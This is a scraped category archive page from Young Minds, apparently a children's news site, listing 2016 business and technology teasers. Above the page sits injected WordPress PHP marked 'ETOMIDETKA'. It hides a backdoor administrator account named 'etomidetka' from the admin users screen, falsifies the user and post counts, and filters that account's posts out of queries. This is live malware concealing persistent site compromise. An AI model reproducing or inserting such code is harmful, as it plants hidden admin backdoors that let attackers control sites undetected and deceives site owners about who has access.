//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Business & Innovation | YOUNG MINDS | Page 13

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Business & Innovation (Page 13)
Facebook launches Marketplace feature

Facebook launches Marketplace feature

Facebook has launched a Marketplace feature to let people buy and sell items locally, in a move that could rival sites like eBay and Craigslist. The new …

October 5, 2016 | Business & Innovation
Disney considering to buy Twitter

Disney considering to buy Twitter

Walt Disney Company is reportedly working with a financial adviser to evaluate a possible bid to buy micro-blogging site Twitter. Previous reports had …

October 3, 2016 | Business & Innovation
Apple’s amazing new PAPER BAG

Apple’s amazing new PAPER BAG

Apple has filed patents for all sorts of new technology over the years, but its latest might be the most surprising yet. The Cupertino tech firm has filed a …

September 26, 2016 | Business & Innovation
Women recycle plastic bags to make beds

Women recycle plastic bags to make beds

‘Bag Ladies’, a Tennessee-based group of women, use discarded plastic bags and sew them together to create beds for the homeless people. The bags are cut …

September 19, 2016 | Business & Innovation
The future of flying

The future of flying

NASA is bringing back the era of ‘X-planes’ – a series of experimental aircraft first tested by the space agency in the 1940s. Among its …

September 19, 2016 | Business & Innovation
An unbreakable mobile phone screen

An unbreakable mobile phone screen

British scientists have developed an unbreakable touchscreen for smartphones, potentially saving users thousands of pounds in repairs each year. And at a fifth …

September 14, 2016 | Business & Innovation
Is this the future of flying?

Is this the future of flying?

Boeing is developing the plane alongside NASA, and testing at the Langley Research Center in Virginia. In the BWB design the wing blends seamlessly into the …

September 14, 2016 | Business & Innovation
HP buys Samsung’s $1bn printer business

HP buys Samsung’s $1bn printer business

US computer giant HP has struck a deal to take over Samsung’s $1bn printer business. HP said the acquisition would help it to “disrupt and …

September 13, 2016 | Business & Innovation
Samsung recalls Note 7

Samsung recalls Note 7

Samsung Electronics is recalling its flagship Galaxy Note 7 smartphone and said that battery problems were behind phones catching fire. The decision follows …

September 5, 2016 | Business & Innovation
Tech converts eye movements to cursor movements

Tech converts eye movements to cursor movements

US-based startup Eyefluence has developed technology that lets users interact with computers using only eye movements, through a tracking headset. Besides …

August 29, 2016 | Business & Innovation
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds